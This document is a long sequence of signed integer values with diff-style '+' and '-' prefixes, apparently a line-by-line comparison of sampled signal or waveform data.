+-3 +-4 +-6 +-7 +-8 +-8 +-9 +-10 +-11 +-12 +-12 +-13 +-13 +-13 +-98 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-104 +-97 +-106 +-100 +-95 +-74 +-84 +-80 +-76 +-72 +-68 +-64 +-61 +-58 +-56 +-52 +-50 +-48 +-46 +-43 +-41 +-39 +-38 +-36 +-35 +-33 +-32 +-31 +-30 +-29 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +109 +104 +100 +98 +93 +89 +84 +80 +74 +69 +63 +57 +51 +46 +41 +37 +32 +29 +26 +22 +19 +16 +14 +12 +10 +8 +6 +4 +3 +2 +0 +-1 +-2 +-2 +-3 +-4 +-5 +-6 +-7 +-8 +-9 +-10 +-10 +-11 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-103 +-112 +-106 +-100 +-94 +-73 +-85 +-80 +-76 +-72 +-68 +-65 +-61 +-58 +-55 +-52 -50 -47 --44 +-45 +-43 -41 +-40 +-38 -37 -35 -33 +-32 +-32 -30 -28 --26 --25 --23 --21 --20 --19 --17 --16 --15 --14 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -124 -119 -115 -113 -108 +-28 +-27 +-27 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +110 105 100 -95 +98 +93 +90 +85 +80 +74 +69 +63 +58 +51 +47 +41 +36 +32 +28 +25 +22 +19 +16 +14 +12 +10 +8 +6 +5 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-8 +-9 +-10 +-10 +-10 +-11 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-105 +-112 +-107 +-101 +-96 +-74 +-85 +-81 +-77 +-73 +-68 +-65 +-62 +-59 +-55 +-51 +-49 +-48 +-45 +-43 +-42 +-40 +-38 +-36 +-35 +-34 +-32 +-30 +-30 +-28 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +109 +103 +98 +96 +93 90 84 +80 +74 +69 +63 +58 +52 +-42 +-105 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-103 +-97 +112 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +116 +102 +94 +87 +84 +80 78 +76 +74 +70 +66 +62 +57 +52 +47 +42 +-51 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +-98 +107 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +115 +102 +93 +86 +83 +80 +78 +76 73 +70 66 61 +58 +52 +47 +42 +37 +32 +28 +24 +21 +18 +16 +13 +11 +9 +7 +6 +4 +2 +2 +0 +-1 +-2 +-4 +-4 +-5 +-6 +-7 +-8 +-8 +-9 +-9 +-10 +-11 +-12 +-12 +-13 +-97 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-104 +-97 +-106 +-100 +-95 +-73 +-84 +-80 +-76 +-72 +-68 +-65 +-62 +-59 +-55 +-52 +-50 +-48 +-46 +-43 +-42 +-40 +-38 +-36 +-35 +-33 +-32 +-31 +-29 +-28 +-27 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +116 +108 +103 +98 +96 +93 +89 +84 +80 +75 +70 +65 +59 +53 +48 +42 +37 +32 +29 +25 +21 +18 +16 +13 +11 +9 +8 +6 +4 +3 +2 +0 +0 +-2 +-3 +-4 +-5 +-6 +-7 +-7 +-8 +-8 +-9 +-9 +-10 +-10 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-97 +-106 +-100 +-96 +-73 +-84 +-80 +-76 +-72 +-68 +-65 +-62 +-58 +-55 +-52 +-50 +-47 +-45 +-43 +-41 +-39 +-38 +-36 +-35 +-33 +-32 +-31 +-30 +-29 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +110 +105 +101 +98 +94 +90 +85 +81 +75 +69 +63 +57 +51 +46 +41 +36 +32 +29 +25 +22 +18 +16 +13 +11 +9 +7 +6 +4 +3 +2 +1 +-1 +-2 +-3 +-4 +-5 +-6 +-6 +-7 +-8 +-9 +-10 +-10 +-11 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-104 +100 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +98 +90 +83 +80 +77 +76 +74 +71 +68 +64 +60 +56 +51 +46 +41 +-51 +-112 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-104 +-97 +-106 +-100 +-80 +-90 +-69 +-80 +-76 +-72 +-68 +-64 +-61 +-58 +-55 +-52 +-50 +-48 +-45 +-43 +-42 +-40 +-38 +-36 +-34 +-33 +-32 +-32 +-30 +-29 +-28 +-27 +-26 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +109 +104 +99 +97 +93 +89 +84 +80 +75 +70 +64 +59 +53 +48 +42 +37 +32 +29 +25 +22 +19 +16 +14 +12 +10 +8 +6 +4 +2 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-6 +-7 +-7 +-8 +-9 +-9 +-10 +-10 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-104 +-97 +-106 +-100 +-95 +-74 +-85 +-80 +-75 +-72 +-68 +-65 +-62 +-58 +-56 +-53 +-50 +-48 +-45 +-44 +-42 +-39 +-37 +-36 +-35 +-33 +-31 +-31 +-30 +-28 +-28 +-26 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +116 +109 +103 +99 +96 +92 +89 +85 +80 +76 +70 +64 +59 +52 +47 +41 +37 +32 +27 +24 +21 +18 +16 +13 +12 +10 +8 +6 +5 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-6 +-8 +-8 +-9 +-10 +-10 +-11 +-12 +-97 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-104 +-97 +-106 +-100 +-95 +-73 +-84 +-80 +-76 +-72 +-68 +-65 +-62 +-58 +-55 +-53 +-50 +-48 +-46 +-44 +-42 +-40 +-38 +-36 +-35 +-33 +-32 +-31 +-30 +-29 +-28 +-26 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +109 +104 +99 +96 +93 +89 +85 +80 +75 +70 +64 +58 +52 +47 +42 +37 +32 +28 +24 +22 +18 +16 +14 +11 +10 +8 +6 +5 +3 +1 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-6 +-7 +-8 +-8 +-10 +-11 +-11 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-104 +-97 +-107 +-100 +-95 +-74 +-85 +-80 +-76 +-72 +-69 +-65 +-61 +-59 +-56 +-53 +-50 +-48 +-46 +-43 +-41 +-40 +-38 +-37 +-35 +-33 +-32 +-31 +-30 +-28 +-27 +-26 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +116 +108 +103 +99 +96 +93 +90 +84 +80 +75 +70 +64 +58 +52 +-42 +-104 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-112 +110 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +115 +102 +93 +86 +83 +80 +78 +75 +74 +70 +66 +62 +57 +52 +48 +42 +37 +32 +28 +24 +20 +17 +15 +12 +10 +8 +7 +5 +3 +2 +2 +0 +-1 +-2 +-2 +-3 +-4 +-5 +-6 +-7 +-7 +-8 +-9 +-10 +-11 +-12 +-12 +-12 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-105 +104 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +113 +99 +91 +85 +81 +77 +75 +73 +71 +68 +65 +60 56 51 46 42 -39 -36 -33 +-51 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +-98 +-107 +-101 +-80 +-90 +-69 +-81 +-76 +-72 +-68 +-64 +-61 +-58 +-56 +-54 +-50 +-48 +-46 +-44 +-42 +-40 +-38 +-36 +-35 +-34 +-33 +-31 +-30 +-29 +-28 +-27 +-26 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +109 +104 +100 +98 +93 +90 +84 +80 +75 +70 +64 +58 +52 +47 +42 +37 32 -30 28 -26 -23 +25 22 -20 -18 -17 -15 -14 +19 +16 13 12 -11 10 -9 8 -7 -7 6 -5 -5 4 -4 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 +2 +1 +0 +-1 +-3 +-4 +-4 +-5 +-6 +-6 +-7 +-8 +-9 +-9 +-10 +-11 +-11 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-104 -97 --89 -118 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -129 -115 -106 -99 -97 -93 -91 -89 -86 -83 -80 -76 -72 -66 -62 -57 --36 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --90 --97 --93 --87 --65 +-107 +-101 +-96 +-74 +-85 +-81 -76 --56 --65 +-72 +-68 +-64 -61 -58 -55 --51 --47 --45 +-52 +-50 +-48 +-46 +-43 -42 --40 --35 --33 --31 --29 --26 --24 --23 --21 --20 --19 --17 --17 --15 --13 --12 --11 --11 --10 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -131 -124 -118 -114 -111 -109 -105 -100 -95 -90 -85 -79 -73 -67 -62 -56 -52 -47 -44 -40 -37 -34 -32 -29 -27 -25 -23 -21 -19 -18 -17 -16 -15 -14 -13 -11 -11 -10 -9 -8 -7 -7 -6 -5 -5 -4 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --90 --83 --93 --86 --80 --59 --71 --66 --60 --57 --53 --50 --46 --43 --41 --38 --35 --33 --30 --28 --26 --24 --22 --21 --19 --18 --17 --16 --15 --14 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -141 -131 -123 -119 -115 -112 -108 -105 -100 -96 -90 -84 -78 -72 -66 -61 -56 -51 -47 -43 -40 -37 -33 -31 -28 -27 -25 -23 -21 -20 -18 -17 -15 -14 -13 -12 -11 -10 -9 -9 -8 -7 -6 -5 -5 -4 -3 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --96 --89 --83 --92 --85 --80 --59 --70 --65 --61 --57 --53 --50 --47 --44 --41 -39 --36 --33 --31 --28 --27 --24 --23 --21 --20 --19 --17 --15 --15 --14 --13 --11 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -124 -119 -115 -112 -108 -104 -99 -95 -89 -84 -78 -73 -67 -61 -56 -52 -47 -44 -40 -37 -33 -31 -29 -26 -24 -23 -21 -19 -18 -17 -16 -15 -14 -13 -12 -11 -10 -9 -8 -7 -6 -5 -5 -5 -4 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --88 --82 --92 --86 --80 --59 --70 --66 --61 --57 --54 --50 --46 --43 --40 -38 --35 +-36 +-34 +-33 -32 -31 --29 +-30 +-28 +-28 -27 -25 --23 --22 --21 --18 --17 --16 --16 --14 --12 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -141 -131 -124 -120 -115 -111 -108 -105 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +109 +104 100 -96 -90 -84 -78 -73 -67 --28 --90 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --96 --89 --82 -123 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -130 -117 -108 -101 -97 -93 -93 -91 -88 -84 -80 -76 -72 -67 -62 -56 --36 --97 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --90 --82 -121 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -129 -115 -106 -101 98 -95 -93 -91 -89 +94 +90 85 81 -76 -71 -67 -62 -57 +75 +70 +64 +58 52 47 -43 -39 -36 -33 -30 -27 -26 +42 +37 +32 +28 24 -23 -21 -19 +22 18 -17 -15 +16 14 12 -11 10 -10 -9 8 -7 -7 -6 6 5 -5 -4 -3 -3 +2 +0 +-1 +-2 +-2 +-2 +-4 +-5 +-6 +-7 +-7 +-8 +-8 +-10 +-10 +-11 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-103 +-97 +-107 +-101 +-95 +-74 +-85 +-80 +-76 +-72 +-68 -65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --90 --97 --91 --86 --81 --59 --70 --66 -62 --57 +-58 +-56 -53 -50 --47 --44 --41 +-48 +-46 +-43 +-42 +-40 +-38 -37 -35 --32 --30 --28 --25 --24 --23 --21 --20 --18 --17 --16 --15 --13 --13 --11 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -131 -123 -118 -115 -112 -108 -104 -100 -95 -90 -84 -79 -73 -67 -62 -57 -52 -47 -43 -40 -37 -34 -31 -29 -27 -25 -23 -21 -19 -18 -17 -16 -14 -14 -12 -11 -10 -9 -8 -7 -7 -6 -5 -5 -5 -4 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --95 --89 --83 --93 --86 --80 --59 --70 --66 --61 --57 --54 --50 --47 --44 --41 --38 --35 -33 +-32 +-31 -30 +-29 +-28 -27 -26 --23 --22 --20 --19 --18 --17 --16 --15 --13 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -141 -131 -123 -118 -114 -112 -107 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +116 +108 104 99 -95 +97 +93 89 84 -78 -72 -66 -61 -56 -51 -47 -43 -40 -37 -33 -31 -28 -26 -25 -23 -21 -20 -18 -17 -16 -15 -14 -13 -11 -11 -9 -8 -7 -6 -5 -5 -4 -4 -3 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --96 --89 -117 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -128 -113 -105 -99 -96 -93 -91 -88 +80 +74 +70 +64 +58 +52 +-42 +-105 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-103 +-112 +108 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +116 +101 +92 86 83 80 +79 75 -71 -66 -61 -57 --36 --97 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --89 --82 --92 --86 --64 --74 --54 --66 --61 --57 --53 --49 --47 --43 --40 --38 --35 --33 --31 --29 --27 --25 --23 --22 --20 --18 --18 --17 --15 --14 --12 --12 --11 --10 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -131 -123 -119 -114 -112 -108 -104 -99 -95 -89 -84 -78 73 -67 +70 +66 62 57 52 -47 -44 -40 -37 -34 -31 -29 -27 -25 -23 -21 -20 -18 -17 -15 -15 -14 -13 -11 -11 -9 -9 -8 -7 -6 -6 -6 -5 -5 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --96 --89 --82 --91 --85 --80 --59 --69 --65 --61 --57 --53 --50 --47 --43 --40 --37 --35 --33 --30 --28 --27 --25 --23 --22 --20 --19 --17 --16 --15 --13 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -141 -131 -124 -119 +48 +42 +-51 +-112 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +-98 +106 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 114 -111 -108 -104 -100 -95 -89 -84 +99 +91 +86 +83 +80 78 -73 -67 +75 +74 +70 +66 61 -55 -51 -46 -43 -39 -36 -33 -31 -28 -26 -24 -23 -21 -20 -18 -17 -15 -14 -13 -13 -11 -10 -9 -8 -7 -7 -6 -6 -5 -5 -4 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --88 --97 --92 --86 --80 --58 --70 --66 --62 --57 --53 --50 --47 --44 --40 --37 --35 --33 --31 --28 --27 --25 --23 --21 --20 --18 --17 --15 --15 --14 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -123 -118 -114 -111 -108 -104 -100 -95 -90 -84 -78 -72 -67 -62 56 51 -47 -44 -40 +46 +41 37 -34 -31 +32 29 -27 25 -23 -21 -20 +22 18 -17 16 -15 13 -12 -10 +11 9 -9 -8 -7 -7 6 -5 -5 4 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 +3 +2 +1 +0 +-1 +-2 +-3 +-4 +-4 +-5 +-6 +-7 +-8 +-9 +-10 +-10 +-11 +-12 +-12 +-12 +-97 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-104 +-97 +-106 +-101 -95 --89 --82 --92 +-74 -85 --80 --60 --71 --66 --61 --57 --54 --51 --46 +-81 +-77 +-72 +-68 +-65 +-62 +-58 +-55 +-53 +-50 +-48 +-45 -43 --40 --37 +-41 +-39 +-38 +-36 -35 +-34 -33 +-32 +-31 -30 -28 -26 --25 --23 --21 --20 --18 --17 --16 --15 --14 --13 --13 --13 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -125 -119 -115 -112 -108 -105 -99 -95 -89 -83 -78 -72 -66 --28 --90 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --96 --87 --97 -123 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -129 -117 -107 -100 -97 -95 -93 -91 -89 -85 -81 -76 -72 -67 -62 -57 -52 -47 -44 -40 -37 -33 -30 -28 -26 -24 -22 -20 -19 -17 -17 -15 -14 -12 -11 -10 -10 -9 -9 -7 -7 -6 -5 -4 -2 -2 -3 -2 --82 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --90 -117 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -128 -114 -106 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +118 +109 +103 99 96 93 -91 +90 +85 +80 +74 +69 +64 +58 +52 +47 +41 +36 +32 +28 +24 +20 +16 +15 +12 +11 +9 +8 +7 +6 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-6 +-7 +-8 +-9 +-10 +-10 +-10 +-11 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-105 +-98 +-106 +-100 +-96 +-75 +-85 +-80 +-76 +-73 +-69 +-65 +-62 +-59 +-56 +-52 +-50 +-48 +-45 +-44 +-42 +-40 +-38 +-36 +-35 +-33 +-32 +-32 +-31 +-29 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +116 +108 +104 +100 +98 +92 89 +84 +80 +74 +69 +63 +57 +51 +46 +41 +36 +31 +27 +24 +22 +18 +16 +13 +11 +9 +7 +6 +5 +3 +2 +1 +0 +-1 +-2 +-4 +-5 +-6 +-6 +-7 +-8 +-9 +-10 +-10 +-10 +-11 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-104 +-97 +-107 +-101 +-95 +-74 +-85 +-81 +-76 +-72 +-69 +-65 +-62 +-59 +-56 +-53 +-51 +-48 +-46 +-44 +-42 +-40 +-38 +-37 +-36 +-34 +-32 +-31 +-30 +-28 +-27 +-26 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +108 +104 +100 +97 +93 +90 +85 +81 +75 +70 +63 +58 +52 +-43 +-106 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-104 +-98 +111 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +116 +102 +92 87 83 80 -75 -71 -66 -61 -56 --36 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --91 --84 --92 --86 --64 --76 --55 --65 --61 --57 --54 --50 --46 --43 --41 --38 --35 --33 --31 --28 --26 --24 --22 --21 --19 --18 --19 --18 --16 --14 --13 --13 --12 --10 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -141 -132 -124 -119 -115 -112 -108 -105 -101 -96 -90 -85 78 -73 +76 +74 +71 67 62 57 52 48 -44 -40 +42 +-51 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-104 +-97 +108 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +116 +101 +92 +86 +83 +80 +78 +75 +73 +69 +66 +61 +56 +50 +45 +41 +-52 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-99 +110 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +116 +101 +92 +86 +83 +80 +78 +76 +73 +70 +66 +61 +57 +52 +47 +42 37 -34 -31 -29 -26 +32 +28 24 -22 21 -19 -17 +18 16 -15 -14 -14 13 11 -11 -9 -9 +10 8 -7 6 -6 -5 -5 4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --90 --83 --92 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-6 +-7 +-7 +-8 +-9 +-9 +-10 +-11 +-11 +-12 +-97 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +-98 +-107 +-101 +-96 +-74 -85 -80 --59 --70 +-76 +-72 +-68 -65 -61 --57 --54 +-59 +-56 +-53 -50 +-48 -46 -44 -41 +-39 -38 --35 --32 --31 --28 --26 --24 --23 --23 --21 --17 --17 --17 --16 --14 --12 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -133 -125 -119 -115 -112 -108 -104 -100 -95 -89 -84 -79 -73 -67 -62 -56 -51 -47 -43 -39 -37 -33 -31 -29 -27 -25 -23 -21 -20 -18 -17 -15 -14 -13 -12 -11 -10 -9 -8 -8 -7 -6 -5 -5 -4 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 